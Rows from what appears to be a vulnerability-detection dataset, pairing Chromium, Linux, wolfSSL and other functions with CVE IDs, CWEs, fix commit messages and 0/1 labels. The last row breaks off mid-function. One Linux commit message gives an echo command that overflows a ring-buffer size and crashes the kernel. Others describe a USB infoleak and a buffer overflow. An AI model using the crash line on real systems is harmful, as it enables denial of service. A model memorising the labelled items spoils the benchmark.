(WebKit::WebPage::gestureDidScroll): When we are done scrolling, check if we have a vertical
scrollbar and if we are at the beginning or the end of the scrollable document.
git-svn-id: svn://svn.chromium.org/blink/trunk@83197 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void WebView::didChangeScrollbarsForMainFrame() const
{
}
|
void WebView::didChangeScrollbarsForMainFrame() const
{
}
|
C
|
Chrome
| 0 |
CVE-2011-2350
|
https://www.cvedetails.com/cve/CVE-2011-2350/
|
CWE-20
|
https://github.com/chromium/chromium/commit/b944f670bb7a8a919daac497a4ea0536c954c201
|
b944f670bb7a8a919daac497a4ea0536c954c201
|
[JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
JSTestNamedConstructor::~JSTestNamedConstructor()
{
releaseImplIfNotNull();
}
|
JSTestNamedConstructor::~JSTestNamedConstructor()
{
releaseImplIfNotNull();
}
|
C
|
Chrome
| 0 |
CVE-2013-0908
|
https://www.cvedetails.com/cve/CVE-2013-0908/
| null |
https://github.com/chromium/chromium/commit/c3efb8738ab59766c88855ad62c812af78490c04
|
c3efb8738ab59766c88855ad62c812af78490c04
|
Check for appropriate bindings in process-per-site mode.
BUG=174059
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12188025
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@181386 0039d316-1c4b-4281-b951-d872f2087c98
|
void set_privileged_process_id(int process_id) {
browser_client_.set_privileged_process_id(process_id);
}
|
void set_privileged_process_id(int process_id) {
browser_client_.set_privileged_process_id(process_id);
}
|
C
|
Chrome
| 0 |
CVE-2016-9754
|
https://www.cvedetails.com/cve/CVE-2016-9754/
|
CWE-190
|
https://github.com/torvalds/linux/commit/59643d1535eb220668692a5359de22545af579f6
|
59643d1535eb220668692a5359de22545af579f6
|
ring-buffer: Prevent overflow of size in ring_buffer_resize()
If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE
then the DIV_ROUND_UP() will return zero.
Here's the details:
# echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb
tracing_entries_write() processes this and converts kb to bytes.
18014398509481980 << 10 = 18446744073709547520
and this is passed to ring_buffer_resize() as unsigned long size.
size = DIV_ROUND_UP(size, BUF_PAGE_SIZE);
Where DIV_ROUND_UP(a, b) is (a + b - 1)/b
BUF_PAGE_SIZE is 4080 and here
18446744073709547520 + 4080 - 1 = 18446744073709551599
where 18446744073709551599 is still smaller than 2^64
2^64 - 18446744073709551599 = 17
But now 18446744073709551599 / 4080 = 4521260802379792
and size = size * 4080 = 18446744073709551360
This is checked to make sure its still greater than 2 * 4080,
which it is.
Then we convert to the number of buffer pages needed.
nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE)
but this time size is 18446744073709551360 and
2^64 - (18446744073709551360 + 4080 - 1) = -3823
Thus it overflows and the resulting number is less than 4080, which makes
3823 / 4080 = 0
an nr_pages is set to this. As we already checked against the minimum that
nr_pages may be, this causes the logic to fail as well, and we crash the
kernel.
There's no reason to have the two DIV_ROUND_UP() (that's just result of
historical code changes), clean up the code and fix this bug.
Cc: [email protected] # 3.5+
Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic")
Signed-off-by: Steven Rostedt <[email protected]>
|
bool ring_buffer_empty(struct ring_buffer *buffer)
{
struct ring_buffer_per_cpu *cpu_buffer;
unsigned long flags;
bool dolock;
int cpu;
int ret;
/* yes this is racy, but if you don't like the race, lock the buffer */
for_each_buffer_cpu(buffer, cpu) {
cpu_buffer = buffer->buffers[cpu];
local_irq_save(flags);
dolock = rb_reader_lock(cpu_buffer);
ret = rb_per_cpu_empty(cpu_buffer);
rb_reader_unlock(cpu_buffer, dolock);
local_irq_restore(flags);
if (!ret)
return false;
}
return true;
}
|
bool ring_buffer_empty(struct ring_buffer *buffer)
{
struct ring_buffer_per_cpu *cpu_buffer;
unsigned long flags;
bool dolock;
int cpu;
int ret;
/* yes this is racy, but if you don't like the race, lock the buffer */
for_each_buffer_cpu(buffer, cpu) {
cpu_buffer = buffer->buffers[cpu];
local_irq_save(flags);
dolock = rb_reader_lock(cpu_buffer);
ret = rb_per_cpu_empty(cpu_buffer);
rb_reader_unlock(cpu_buffer, dolock);
local_irq_restore(flags);
if (!ret)
return false;
}
return true;
}
|
C
|
linux
| 0 |
CVE-2016-5202
| null | null |
https://github.com/chromium/chromium/commit/79708b391b2e91d63b5d009ec6202c7d7ededf93
|
79708b391b2e91d63b5d009ec6202c7d7ededf93
|
Ensure that OpenVR only adds placeholder buttons when needed.
The current implementation of the OpenVRGamepadHelper always adds the
optional grip and secondary axes buttons; however, if those buttons are
missing and no additional buttons need to be supported, they should not
be included. A prime example of this is the vive controller, which has
a trigger, a grip, and a touchpad, but no secondary axis button. This
is essentially the controller that the new TestGamepadOptionalData test
builds.
Bug: 964026
Change-Id: I1de93b5bd7bd0d9e75013cf33b8f333e5d70270f
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1627914
Reviewed-by: Bill Orr <[email protected]>
Commit-Queue: Alexander Cooper <[email protected]>
Cr-Commit-Position: refs/heads/master@{#662843}
|
void TestControllerInputRegisteredImpl(WebXrVrBrowserTestBase* t) {
WebXrControllerInputMock my_mock;
unsigned int controller_index =
my_mock.CreateAndConnectMinimalGamepad(t->GetPrimaryAxisType());
t->LoadUrlAndAwaitInitialization(
t->GetFileUrlForHtmlTestFile("test_webxr_input"));
t->EnterSessionWithUserGestureOrFail();
unsigned int num_iterations = 10;
t->RunJavaScriptOrFail("stepSetupListeners(" +
base::NumberToString(num_iterations) + ")");
for (unsigned int i = 0; i < num_iterations; ++i) {
my_mock.PressReleasePrimaryTrigger(controller_index);
t->WaitOnJavaScriptStep();
}
t->EndTest();
}
|
void TestControllerInputRegisteredImpl(WebXrVrBrowserTestBase* t) {
WebXrControllerInputMock my_mock;
unsigned int controller_index =
my_mock.CreateAndConnectMinimalGamepad(t->GetPrimaryAxisType());
t->LoadUrlAndAwaitInitialization(
t->GetFileUrlForHtmlTestFile("test_webxr_input"));
t->EnterSessionWithUserGestureOrFail();
unsigned int num_iterations = 10;
t->RunJavaScriptOrFail("stepSetupListeners(" +
base::NumberToString(num_iterations) + ")");
for (unsigned int i = 0; i < num_iterations; ++i) {
my_mock.PressReleasePrimaryTrigger(controller_index);
t->WaitOnJavaScriptStep();
}
t->EndTest();
}
|
C
|
Chrome
| 0 |
CVE-2018-6066
|
https://www.cvedetails.com/cve/CVE-2018-6066/
|
CWE-200
|
https://github.com/chromium/chromium/commit/fad67a5b73639d7211b24fd9bdb242e82039b765
|
fad67a5b73639d7211b24fd9bdb242e82039b765
|
Check CORS using PassesAccessControlCheck() with supplied SecurityOrigin
Partial revert of https://chromium-review.googlesource.com/535694.
Bug: 799477
Change-Id: I878bb9bcb83afaafe8601293db9aa644fc5929b3
Reviewed-on: https://chromium-review.googlesource.com/898427
Commit-Queue: Hiroshige Hayashizaki <[email protected]>
Reviewed-by: Kouhei Ueno <[email protected]>
Reviewed-by: Yutaka Hirano <[email protected]>
Reviewed-by: Takeshi Yoshino <[email protected]>
Cr-Commit-Position: refs/heads/master@{#535176}
|
void ClassicPendingScript::StreamingFinished() {
CheckState();
DCHECK(streamer_); // Should only be called by ScriptStreamer.
DCHECK(IsCurrentlyStreaming());
if (ready_state_ == kWaitingForStreaming) {
FinishWaitingForStreaming();
} else if (ready_state_ == kReadyStreaming) {
FinishReadyStreaming();
} else {
NOTREACHED();
}
DCHECK(!IsCurrentlyStreaming());
}
|
void ClassicPendingScript::StreamingFinished() {
CheckState();
DCHECK(streamer_); // Should only be called by ScriptStreamer.
DCHECK(IsCurrentlyStreaming());
if (ready_state_ == kWaitingForStreaming) {
FinishWaitingForStreaming();
} else if (ready_state_ == kReadyStreaming) {
FinishReadyStreaming();
} else {
NOTREACHED();
}
DCHECK(!IsCurrentlyStreaming());
}
|
C
|
Chrome
| 0 |
CVE-2016-4482
|
https://www.cvedetails.com/cve/CVE-2016-4482/
|
CWE-200
|
https://github.com/torvalds/linux/commit/681fef8380eb818c0b845fca5d2ab1dcbab114ee
|
681fef8380eb818c0b845fca5d2ab1dcbab114ee
|
USB: usbfs: fix potential infoleak in devio
The stack object “ci” has a total size of 8 bytes. Its last 3 bytes
are padding bytes which are not initialized and leaked to userland
via “copy_to_user”.
Signed-off-by: Kangjie Lu <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
|
static int proc_unlinkurb(struct usb_dev_state *ps, void __user *arg)
{
struct urb *urb;
struct async *as;
unsigned long flags;
spin_lock_irqsave(&ps->lock, flags);
as = async_getpending(ps, arg);
if (!as) {
spin_unlock_irqrestore(&ps->lock, flags);
return -EINVAL;
}
urb = as->urb;
usb_get_urb(urb);
spin_unlock_irqrestore(&ps->lock, flags);
usb_kill_urb(urb);
usb_put_urb(urb);
return 0;
}
|
static int proc_unlinkurb(struct usb_dev_state *ps, void __user *arg)
{
struct urb *urb;
struct async *as;
unsigned long flags;
spin_lock_irqsave(&ps->lock, flags);
as = async_getpending(ps, arg);
if (!as) {
spin_unlock_irqrestore(&ps->lock, flags);
return -EINVAL;
}
urb = as->urb;
usb_get_urb(urb);
spin_unlock_irqrestore(&ps->lock, flags);
usb_kill_urb(urb);
usb_put_urb(urb);
return 0;
}
|
C
|
linux
| 0 |
CVE-2014-3185
|
https://www.cvedetails.com/cve/CVE-2014-3185/
|
CWE-119
|
https://github.com/torvalds/linux/commit/6817ae225cd650fb1c3295d769298c38b1eba818
|
6817ae225cd650fb1c3295d769298c38b1eba818
|
USB: whiteheat: Added bounds checking for bulk command response
This patch fixes a potential security issue in the whiteheat USB driver
which might allow a local attacker to cause kernel memory corrpution. This
is due to an unchecked memcpy into a fixed size buffer (of 64 bytes). On
EHCI and XHCI busses it's possible to craft responses greater than 64
bytes leading a buffer overflow.
Signed-off-by: James Forshaw <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
|
static void firm_setup_port(struct tty_struct *tty)
{
struct usb_serial_port *port = tty->driver_data;
struct device *dev = &port->dev;
struct whiteheat_port_settings port_settings;
unsigned int cflag = tty->termios.c_cflag;
port_settings.port = port->port_number + 1;
/* get the byte size */
switch (cflag & CSIZE) {
case CS5: port_settings.bits = 5; break;
case CS6: port_settings.bits = 6; break;
case CS7: port_settings.bits = 7; break;
default:
case CS8: port_settings.bits = 8; break;
}
dev_dbg(dev, "%s - data bits = %d\n", __func__, port_settings.bits);
/* determine the parity */
if (cflag & PARENB)
if (cflag & CMSPAR)
if (cflag & PARODD)
port_settings.parity = WHITEHEAT_PAR_MARK;
else
port_settings.parity = WHITEHEAT_PAR_SPACE;
else
if (cflag & PARODD)
port_settings.parity = WHITEHEAT_PAR_ODD;
else
port_settings.parity = WHITEHEAT_PAR_EVEN;
else
port_settings.parity = WHITEHEAT_PAR_NONE;
dev_dbg(dev, "%s - parity = %c\n", __func__, port_settings.parity);
/* figure out the stop bits requested */
if (cflag & CSTOPB)
port_settings.stop = 2;
else
port_settings.stop = 1;
dev_dbg(dev, "%s - stop bits = %d\n", __func__, port_settings.stop);
/* figure out the flow control settings */
if (cflag & CRTSCTS)
port_settings.hflow = (WHITEHEAT_HFLOW_CTS |
WHITEHEAT_HFLOW_RTS);
else
port_settings.hflow = WHITEHEAT_HFLOW_NONE;
dev_dbg(dev, "%s - hardware flow control = %s %s %s %s\n", __func__,
(port_settings.hflow & WHITEHEAT_HFLOW_CTS) ? "CTS" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_RTS) ? "RTS" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_DSR) ? "DSR" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_DTR) ? "DTR" : "");
/* determine software flow control */
if (I_IXOFF(tty))
port_settings.sflow = WHITEHEAT_SFLOW_RXTX;
else
port_settings.sflow = WHITEHEAT_SFLOW_NONE;
dev_dbg(dev, "%s - software flow control = %c\n", __func__, port_settings.sflow);
port_settings.xon = START_CHAR(tty);
port_settings.xoff = STOP_CHAR(tty);
dev_dbg(dev, "%s - XON = %2x, XOFF = %2x\n", __func__, port_settings.xon, port_settings.xoff);
/* get the baud rate wanted */
port_settings.baud = tty_get_baud_rate(tty);
dev_dbg(dev, "%s - baud rate = %d\n", __func__, port_settings.baud);
/* fixme: should set validated settings */
tty_encode_baud_rate(tty, port_settings.baud, port_settings.baud);
/* handle any settings that aren't specified in the tty structure */
port_settings.lloop = 0;
/* now send the message to the device */
firm_send_command(port, WHITEHEAT_SETUP_PORT,
(__u8 *)&port_settings, sizeof(port_settings));
}
|
static void firm_setup_port(struct tty_struct *tty)
{
struct usb_serial_port *port = tty->driver_data;
struct device *dev = &port->dev;
struct whiteheat_port_settings port_settings;
unsigned int cflag = tty->termios.c_cflag;
port_settings.port = port->port_number + 1;
/* get the byte size */
switch (cflag & CSIZE) {
case CS5: port_settings.bits = 5; break;
case CS6: port_settings.bits = 6; break;
case CS7: port_settings.bits = 7; break;
default:
case CS8: port_settings.bits = 8; break;
}
dev_dbg(dev, "%s - data bits = %d\n", __func__, port_settings.bits);
/* determine the parity */
if (cflag & PARENB)
if (cflag & CMSPAR)
if (cflag & PARODD)
port_settings.parity = WHITEHEAT_PAR_MARK;
else
port_settings.parity = WHITEHEAT_PAR_SPACE;
else
if (cflag & PARODD)
port_settings.parity = WHITEHEAT_PAR_ODD;
else
port_settings.parity = WHITEHEAT_PAR_EVEN;
else
port_settings.parity = WHITEHEAT_PAR_NONE;
dev_dbg(dev, "%s - parity = %c\n", __func__, port_settings.parity);
/* figure out the stop bits requested */
if (cflag & CSTOPB)
port_settings.stop = 2;
else
port_settings.stop = 1;
dev_dbg(dev, "%s - stop bits = %d\n", __func__, port_settings.stop);
/* figure out the flow control settings */
if (cflag & CRTSCTS)
port_settings.hflow = (WHITEHEAT_HFLOW_CTS |
WHITEHEAT_HFLOW_RTS);
else
port_settings.hflow = WHITEHEAT_HFLOW_NONE;
dev_dbg(dev, "%s - hardware flow control = %s %s %s %s\n", __func__,
(port_settings.hflow & WHITEHEAT_HFLOW_CTS) ? "CTS" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_RTS) ? "RTS" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_DSR) ? "DSR" : "",
(port_settings.hflow & WHITEHEAT_HFLOW_DTR) ? "DTR" : "");
/* determine software flow control */
if (I_IXOFF(tty))
port_settings.sflow = WHITEHEAT_SFLOW_RXTX;
else
port_settings.sflow = WHITEHEAT_SFLOW_NONE;
dev_dbg(dev, "%s - software flow control = %c\n", __func__, port_settings.sflow);
port_settings.xon = START_CHAR(tty);
port_settings.xoff = STOP_CHAR(tty);
dev_dbg(dev, "%s - XON = %2x, XOFF = %2x\n", __func__, port_settings.xon, port_settings.xoff);
/* get the baud rate wanted */
port_settings.baud = tty_get_baud_rate(tty);
dev_dbg(dev, "%s - baud rate = %d\n", __func__, port_settings.baud);
/* fixme: should set validated settings */
tty_encode_baud_rate(tty, port_settings.baud, port_settings.baud);
/* handle any settings that aren't specified in the tty structure */
port_settings.lloop = 0;
/* now send the message to the device */
firm_send_command(port, WHITEHEAT_SETUP_PORT,
(__u8 *)&port_settings, sizeof(port_settings));
}
|
C
|
linux
| 0 |
CVE-2015-1274
|
https://www.cvedetails.com/cve/CVE-2015-1274/
|
CWE-254
|
https://github.com/chromium/chromium/commit/d27468a832d5316884bd02f459cbf493697fd7e1
|
d27468a832d5316884bd02f459cbf493697fd7e1
|
Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
|
AXObject::AXObject(AXObjectCacheImpl& axObjectCache)
: m_id(0),
m_haveChildren(false),
m_role(UnknownRole),
m_lastKnownIsIgnoredValue(DefaultBehavior),
m_explicitContainerID(0),
m_parent(nullptr),
m_lastModificationCount(-1),
m_cachedIsIgnored(false),
m_cachedIsInertOrAriaHidden(false),
m_cachedIsDescendantOfLeafNode(false),
m_cachedIsDescendantOfDisabledNode(false),
m_cachedHasInheritedPresentationalRole(false),
m_cachedIsPresentationalChild(false),
m_cachedAncestorExposesActiveDescendant(false),
m_cachedLiveRegionRoot(nullptr),
m_axObjectCache(&axObjectCache) {
++s_numberOfLiveAXObjects;
}
|
AXObject::AXObject(AXObjectCacheImpl& axObjectCache)
: m_id(0),
m_haveChildren(false),
m_role(UnknownRole),
m_lastKnownIsIgnoredValue(DefaultBehavior),
m_explicitContainerID(0),
m_parent(nullptr),
m_lastModificationCount(-1),
m_cachedIsIgnored(false),
m_cachedIsInertOrAriaHidden(false),
m_cachedIsDescendantOfLeafNode(false),
m_cachedIsDescendantOfDisabledNode(false),
m_cachedHasInheritedPresentationalRole(false),
m_cachedIsPresentationalChild(false),
m_cachedAncestorExposesActiveDescendant(false),
m_cachedLiveRegionRoot(nullptr),
m_axObjectCache(&axObjectCache) {
++s_numberOfLiveAXObjects;
}
|
C
|
Chrome
| 0 |
CVE-2016-1586
|
https://www.cvedetails.com/cve/CVE-2016-1586/
|
CWE-20
|
https://git.launchpad.net/oxide/commit/?id=29014da83e5fc358d6bff0f574e9ed45e61a35ac
|
29014da83e5fc358d6bff0f574e9ed45e61a35ac
| null |
WebContext::userAgentOverrides() const {
QList<UserAgentOverride> rv;
std::vector<UserAgentSettings::UserAgentOverride> overrides;
if (IsInitialized()) {
overrides =
UserAgentSettings::Get(context_.get())->GetUserAgentOverrides();
} else {
overrides = construct_props_->user_agent_overrides;
}
for (const auto& entry : overrides) {
rv.append(
qMakePair(QString::fromStdString(entry.first),
QString::fromStdString(entry.second)));
}
return rv;
}
|
WebContext::userAgentOverrides() const {
QList<UserAgentOverride> rv;
std::vector<UserAgentSettings::UserAgentOverride> overrides;
if (IsInitialized()) {
overrides =
UserAgentSettings::Get(context_.get())->GetUserAgentOverrides();
} else {
overrides = construct_props_->user_agent_overrides;
}
for (const auto& entry : overrides) {
rv.append(
qMakePair(QString::fromStdString(entry.first),
QString::fromStdString(entry.second)));
}
return rv;
}
|
CPP
|
launchpad
| 0 |
CVE-2011-3050
|
https://www.cvedetails.com/cve/CVE-2011-3050/
|
CWE-399
|
https://github.com/chromium/chromium/commit/3da579b85a36e95c03d06b7c4ce9d618af4107bf
|
3da579b85a36e95c03d06b7c4ce9d618af4107bf
|
Relands cl 16982 as it wasn't the cause of the build breakage. Here's
the description for that cl:
Lands http://codereview.chromium.org/115505 for bug
http://crbug.com/4030 for tyoshino.
BUG=http://crbug.com/4030
TEST=make sure control-w dismisses bookmark manager.
Review URL: http://codereview.chromium.org/113902
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@16987 0039d316-1c4b-4281-b951-d872f2087c98
|
std::wstring BookmarkManagerView::GetWindowName() const {
return prefs::kBookmarkManagerPlacement;
}
|
std::wstring BookmarkManagerView::GetWindowName() const {
return prefs::kBookmarkManagerPlacement;
}
|
C
|
Chrome
| 0 |
CVE-2019-5837
|
https://www.cvedetails.com/cve/CVE-2019-5837/
|
CWE-200
|
https://github.com/chromium/chromium/commit/04aaacb936a08d70862d6d9d7e8354721ae46be8
|
04aaacb936a08d70862d6d9d7e8354721ae46be8
|
Reland "AppCache: Add padding to cross-origin responses."
This is a reland of 85b389caa7d725cdd31f59e9a2b79ff54804b7b7
Initialized CacheRecord::padding_size to 0.
Original change's description:
> AppCache: Add padding to cross-origin responses.
>
> Bug: 918293
> Change-Id: I4f16640f06feac009d6bbbb624951da6d2669f6c
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1488059
> Commit-Queue: Staphany Park <[email protected]>
> Reviewed-by: Victor Costan <[email protected]>
> Reviewed-by: Marijn Kruisselbrink <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#644624}
Bug: 918293
Change-Id: Ie1d3f99c7e8a854d33255a4d66243da2ce16441c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1539906
Reviewed-by: Victor Costan <[email protected]>
Commit-Queue: Staphany Park <[email protected]>
Cr-Commit-Position: refs/heads/master@{#644719}
|
void AppCacheUpdateJob::DiscardInprogressCache() {
if (stored_state_ == STORING) {
inprogress_cache_ = nullptr;
added_master_entries_.clear();
return;
}
storage_->DoomResponses(manifest_url_, stored_response_ids_);
if (!inprogress_cache_.get()) {
if (group_ && group_->newest_complete_cache()) {
for (auto& url : added_master_entries_)
group_->newest_complete_cache()->RemoveEntry(url);
}
added_master_entries_.clear();
return;
}
AppCache::AppCacheHosts& hosts = inprogress_cache_->associated_hosts();
while (!hosts.empty())
(*hosts.begin())->AssociateNoCache(GURL());
inprogress_cache_ = nullptr;
added_master_entries_.clear();
}
|
void AppCacheUpdateJob::DiscardInprogressCache() {
if (stored_state_ == STORING) {
inprogress_cache_ = nullptr;
added_master_entries_.clear();
return;
}
storage_->DoomResponses(manifest_url_, stored_response_ids_);
if (!inprogress_cache_.get()) {
if (group_ && group_->newest_complete_cache()) {
for (auto& url : added_master_entries_)
group_->newest_complete_cache()->RemoveEntry(url);
}
added_master_entries_.clear();
return;
}
AppCache::AppCacheHosts& hosts = inprogress_cache_->associated_hosts();
while (!hosts.empty())
(*hosts.begin())->AssociateNoCache(GURL());
inprogress_cache_ = nullptr;
added_master_entries_.clear();
}
|
C
|
Chrome
| 0 |
CVE-2014-7905
|
https://www.cvedetails.com/cve/CVE-2014-7905/
|
CWE-284
|
https://github.com/chromium/chromium/commit/0d77de2f5334b6d560487c5fd696178a3bfc3551
|
0d77de2f5334b6d560487c5fd696178a3bfc3551
|
Add ThreadChecker for Ozone X11 GPU.
Ensure Ozone X11 tests the same thread constraints we have in Ozone GBM.
BUG=none
Review-Url: https://codereview.chromium.org/2366643002
Cr-Commit-Position: refs/heads/master@{#421817}
|
X11SurfaceFactory::GetAllowedGLImplementations() {
DCHECK(thread_checker_.CalledOnValidThread());
std::vector<gl::GLImplementation> impls;
impls.push_back(gl::kGLImplementationEGLGLES2);
impls.push_back(gl::kGLImplementationDesktopGL);
impls.push_back(gl::kGLImplementationOSMesaGL);
return impls;
}
|
X11SurfaceFactory::GetAllowedGLImplementations() {
std::vector<gl::GLImplementation> impls;
impls.push_back(gl::kGLImplementationEGLGLES2);
impls.push_back(gl::kGLImplementationDesktopGL);
impls.push_back(gl::kGLImplementationOSMesaGL);
return impls;
}
|
C
|
Chrome
| 1 |
CVE-2017-18234
|
https://www.cvedetails.com/cve/CVE-2017-18234/
|
CWE-416
|
https://cgit.freedesktop.org/exempi/commit/?id=c26d5beb60a5a85f76259f50ed3e08c8169b0a0c
|
c26d5beb60a5a85f76259f50ed3e08c8169b0a0c
| null |
bool xmp_iterator_next(XmpIteratorPtr iter, XmpStringPtr schema,
XmpStringPtr propName, XmpStringPtr propValue,
uint32_t *options)
{
CHECK_PTR(iter, false);
RESET_ERROR;
auto titer = reinterpret_cast<SXMPIterator *>(iter);
return titer->Next(reinterpret_cast<std::string *>(schema),
reinterpret_cast<std::string *>(propName),
reinterpret_cast<std::string *>(propValue), options);
}
|
bool xmp_iterator_next(XmpIteratorPtr iter, XmpStringPtr schema,
XmpStringPtr propName, XmpStringPtr propValue,
uint32_t *options)
{
CHECK_PTR(iter, false);
RESET_ERROR;
auto titer = reinterpret_cast<SXMPIterator *>(iter);
return titer->Next(reinterpret_cast<std::string *>(schema),
reinterpret_cast<std::string *>(propName),
reinterpret_cast<std::string *>(propValue), options);
}
|
CPP
|
exempi
| 0 |
CVE-2018-12436
|
https://www.cvedetails.com/cve/CVE-2018-12436/
|
CWE-200
|
https://github.com/wolfSSL/wolfssl/commit/9b9568d500f31f964af26ba8d01e542e1f27e5ca
|
9b9568d500f31f964af26ba8d01e542e1f27e5ca
|
Change ECDSA signing to use blinding.
|
int wc_ecc_get_curve_id_from_params(int fieldSize,
const byte* prime, word32 primeSz, const byte* Af, word32 AfSz,
const byte* Bf, word32 BfSz, const byte* order, word32 orderSz,
const byte* Gx, word32 GxSz, const byte* Gy, word32 GySz, int cofactor)
{
int idx;
int curveSz;
if (prime == NULL || Af == NULL || Bf == NULL || order == NULL ||
Gx == NULL || Gy == NULL)
return BAD_FUNC_ARG;
curveSz = (fieldSize + 1) / 8; /* round up */
for (idx = 0; ecc_sets[idx].size != 0; idx++) {
if (curveSz == ecc_sets[idx].size) {
if ((wc_ecc_cmp_param(ecc_sets[idx].prime, prime,
primeSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Af, Af, AfSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Bf, Bf, BfSz) == MP_EQ) &&
